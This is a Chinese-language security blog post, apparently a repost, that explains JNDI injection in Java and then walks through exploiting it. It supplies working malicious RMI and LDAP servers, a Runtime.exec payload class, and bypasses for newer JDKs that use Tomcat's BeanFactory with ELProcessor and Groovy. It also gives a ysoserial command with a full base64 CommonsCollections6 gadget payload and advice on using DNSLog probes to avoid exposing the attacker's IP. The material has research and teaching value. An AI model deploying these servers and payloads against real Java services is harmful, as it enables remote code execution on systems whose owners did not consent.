原文:https://www.cnblogs.com/LittleHann/p/17768907.html

一、JNDI 简介

JNDI是什么

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。

JNDI 提供统一的客户端 API,通过不同的JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务,如下图。

img

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

J2EE规范要求所有的J2EE容器都要提供JNDI规范的实现。JNDI就成为了J2EE组件在运行期间间接地查找其他组件、资源或服务的通用机制。JNDI在J2EE中主要角色就是提供间接层,这样组件可以发现所需资源,不用了解间接性。

JNDI解决了什么问题

没有JNDI之前,对于一个外部依赖,像Mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到Java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。有了JNDI后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。

二、JNDI注入原理分析

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数被外部攻击者可控,攻击者就可以将恶意的 url 传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。

一个简单的漏洞代码示例如下,

1
2
3
4
5
6
7
8
9
10
11
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
initialContext.lookup(uri); // 获取指定的远程对象
}
}

代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup() 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它。

服务端攻击代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099); // rmi监听端口
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); // payload攻击载荷地址
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",wrapper); //rmi绑定服务名称
}
}

img

我们深入到源码级别研究一下产生漏洞的原因。 先关注受攻击客户端。

InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。

1
InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用

lookup(String name) 获取 name 的数据,这里的 uri 被定义为 rmi://127.0.0.1:1099/Exploit 所以会通过 rmi 协议访问 127.0.0.1:1099/Exploit

1
2
String uri = "rmi://127.0.0.1:1099/Exploit";    // 指定查找的 uri 变量
initialContext.lookup(uri); // 获取指定的远程对象

由于 lookup() 参数可控,导致漏洞的出现,跟进代码如下,

img

img

以LDAP为例,获得远程LDAPServer的Entry之后,跟进跟进com/sun/jndi/ldap/Obj.java#decodeObject,

img

按照该函数的注释来看,其主要功能是解码从LDAP Server来的对象,

  • 该对象可能是序列化的对象
  • 也可能是一个Reference对象

这里先分析Reference对象的处理流程。

当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

如果LDAP Server返回的属性里包括了 objectClassjavaNamingReference ,将进入Reference的处理函数decodeReference上。

img

img

decodeReference再从属性中提取出 javaClassNamejavaFactory ,最后将生成一个Reference。这里生成的ref就是在RMI返回的那个ReferenceWrapper,后面这个ref将会传递给Naming Manager去处理,包括从codebase中获取class文件并载入。

这里继续分析Serialized Object序列化对象的处理流程。

在com/sun/jndi/ldap/Obj.java#decodeObject上还存在一个判断,

img

如果在返回的属性中存在 javaSerializedData ,将继续调用 deserializeObject 函数,该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原,如下payload。

1
@Override protected void processAttribute(Entry entry){ entry.addAttribute("javaClassName", "foo"); entry.addAttribute("javaSerializedData", serialized); }

img

接下来分析服务端攻击代码所使用的Reference类,Reference 是一个抽象类,每个 Reference 都有一个指向的对象,对象指定类会被加载并实例化。

在上面服务端代码中,reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。

img

以上就是JNDI注入的基本原理(核心就是远程对象解析引发的对象重建过程带来的风险调用链问题),但是JNDI注入并没有这么简单,因为java在漫长的迭代生涯中一直在添加新的补丁特性,使得JNDI的利用越来越困难(主要是禁用了从远程加载Java对象),而同时安全研究员也在不断研究出新的绕过利用方式(主要是寻找本地gadgets)。

三、JNDI注入漏洞复现

这一章采用最基础的远程reference对象注入,本章中的代码将作为后续章节的基础。

JNDI+RMI 复现

漏洞利用过程归纳总结为:

由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServer 的 Registry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

1、项目代码编写

新建maven项目,

img

在 /src/java 目录下创建一个包,包名为 jndi_rmi_injection,

img

在创建的jndi_rmi_injection包下新建 rmi 服务端和客户端,

服务端(RMIService.java)代码,服务端是攻击者控制的服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}

服务端端恶意载荷(Calculator.java)代码

1
2
3
4
5
6
7
package jndi_rmi_injection;

public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}
}

笔者使用的是 mac 的环境,执行弹出计算器的命令为”open -a Calculator“,若为Windwos 修改为”calc“即可。

客户端(RMIClient.java)代码,客户端代表存在漏洞的受害端。

1
2
3
4
5
6
7
8
9
10
11
12
package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "rmi://127.0.0.1:7778/RCE"; // 实际场景中这个url是外部攻击者可控的,这里为了简化直接硬编码
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

2、启动RMI服务

将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,

img

img

在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致。

1
python3 -m http.server 8081

img

img

先运行攻击者可控的RMI服务端,用于接受来自己客户端的lookup请求,

img

3、启动包含lookup功能的客户端服务,即启动存在被漏洞利用风险的服务

运行客户端,模拟被攻击者JNDI注入过程,远程获取恶意类,并执行恶意类代码,实现弹窗。

JNDI+LDAP 复现

攻击者搭建LDAP服务器,需要导入unboundid依赖库。

在本项目根目录下创建/lib目录,用于放置本地依赖库,点击下载 unboundid-ldapsdk-3.2.0.jar,导入依赖即可,

img

LDAPServer.java 服务端代码,服务端是攻击者控制的服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package jndi_rmi_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] args) {
String url = "http://127.0.0.1:8081/#Calculator";
int port = 1234;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

客户端(LDAPClient.java)代码,客户端代表存在漏洞的受害端。

1
2
3
4
5
6
7
8
9
10
11
12
package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

HTTP 端恶意载荷(Calculator.java)代码和上一小节保持不变。

将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 LDAPServer.java 的 Reference 里面的链接端口一致。

先启动服务端,

img

再启动客户端。

img

JNDI+DNS 复现

通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。

为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。

漏洞端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package jndi_ldap_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "dns://192rzl.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}

}

填入 DNSLog 平台域名,或自己搭建的平台域名,执行程序。

参考链接:

1
2
3
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://xz.aliyun.com/t/12277#toc-5
https://evilpan.com/2021/12/13/jndi-injection/#remote-class

四、不同JDK版本中JNDI注入存在的限制及绕过方法

Java JNDI注入有很多种不同的利用载荷,而这些Payload分别会面临一些限制。

我们来整理一下,关于jndi的相关安全更新:

  • JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。导致jndi的rmi reference方式失效,但ldap的reference方式仍然可行
  • Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。导致jndi的ldap reference方式失效,到这里为止,远程codebase的方式基本失效,除非认为设为true

在最新版的jdk8u上,jndi ldap的本地反序列化利用链 1 和 2 的方式仍然未失效,jndi rmi底层(JRMPListener) StreamRemoteCall 的本地利用方式仍未失效。所以如果Reference的方式不行的时候,可以试试利用本地ClassPath里的反序列化利用链来达成RCE。但前提是需要利用一个本地的反序列化利用链(如CommonsCollections、EL表达式等)。

img

我们接下来按照java版本的演进分别分析JNDI注入的方法。

在实验前,要准备好不同版本的jdk方便测试。

img

6u45/7u21之前/JDK版本低于1.8.0_191

img

img

img

在这个版本之前,JNDI注入的利用条件是最宽松的,如果攻击者可以控制lookup()的返回内容,就可以很容易地把返回内容设置成一个远程Java对象下载地址,以此触发远程对象加载。

我们创建一个恶意的RMI服务器,并响应一个恶意的远程Java对象下载地址。编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}

我们创建了一个javax.naming.Reference的示例,把这个示例绑定到”/RCE“地址上,这个Export对象对目标服务器会从”http://127.0.0.1:8081/Calculator.class“这里获取字节码,从而触发1个RCE。

上面的代码在Java 8u121 Oracle添加RMI代码限制的前工作完美。之后,我们可以利用一个恶意的LDAP服务器响应相同信息,进行攻击。

Java 8u121 Oracle添加的限制和Codebase机制有关。Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。

当RMI对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。

RMI客户端在 lookup() 的过程中,

  • 会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载
  • 然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象。远程Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。

当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

1
http://url:8080/com/project/test.class

但是,从Java 8u121 Oracle后,rmi的trustURLCodebase默认设置为false,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

Changelog:

img

具体被阻断在于步骤4,如下图。

img

虽然rmi远程类加载默认被禁用了,但是在8u191之前,ldap的trustURLCodebase还是默认为true的。

LDAP目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。

Java对象在LDAP目录中也有多种存储形式:

  • Java序列化
  • JNDI Reference
  • Marshalled对象
  • Remote Location(已弃用)

LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package jndi_rmi_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] args) {
String url = "http://127.0.0.1:8081/#Calculator";
int port = 1234;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

img

不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

这导致JNDI远程类加载问题被修复。自此也就意味着远程codebase的Reference方式被限制死了。

之后攻击者利用jndi注入主要是进行不信任数据的反序列化,利用门槛变高,要求系统中存在gadgetl类。

JAVA 8u191之后

1、找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令

JAVA 8u191时,JNDI客户端在接受远程引用对象的时候,不使用classFactoryLoction,但是我们还是可以通过JavaFactory来指定一个任意的工厂类,这个类时用于从攻击者控制的Reference对象中提取真实的对象。

这个工厂类需要满足以下几个条件:

  • 真实对象要求必须存在目标系统的classpath
  • 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法

img

img

接下来的问题就是,我们需要找到一个工厂类在classpath中,它对Reference的属性做了一些不安全的动作。

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能,

  • org.apache.naming.factory.BeanFactory 默认存在于Tomcat依赖包中,所以使用也是非常广泛
  • org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的

配置jdk 8b192

org.apache.naming.factory.BeanFactory#getObjectInstance中,包含了一段利用反射创建bean的代码。

img

这里利用BeanFactory工厂类加载ELProcessor类,

img

取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且填充了一个string类型的参数作为method的反射调用,最后通过method名和一个string的参数拿到eval函数。

img

img

这里使用的魔性属性时“forceString”, 通过设置“x=eval”,我们可以将x属性对应的setter设置成eval函数。

img

同时,Javax.el.ELProcessor类,存在一个eval方法,接收一个字符串,该字符串将表示要执行的Java表达式语言模板。

img

img

img

ELProcessor_rmi_server.java服务端代码如下,服务端是攻击者控制的服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class ELProcessor_rmi_server {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")"));
//触发点在resourceRef的getObjectInstance()方法中
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Exploit", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

BeanFactory 创建了一个任意bean类实例并执行了它所有的setter函数。这个任意bean类的名字、属性、属性值都来自于Reference对象,外部完全可控。基本上相当于一个任意类后门了。

除了el表达式之外还有groovy也可以,原理一样,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class ELProcessor_rmi_server {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

maven配置好grovvy的包依赖,

img

img

img

2、从JNDI服务远程获取一个Java反序列化对象,利用反序列化Gadget完成命令执行

LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。

其中具体的处理代码如下:

1
2
3
4
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { 
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
}

img

我们假设目标系统中存在着有漏洞的CommonsCollections库,使用ysoserial生成一个CommonsCollections的利用Payload:

下载链接 :https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

1
2
3
java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app'|base64

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACMvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4

LDAP Server关键代码如下,我们在javaSerializedData字段内填入刚刚生成的反序列化payload数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package jndi_rmi_injection;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
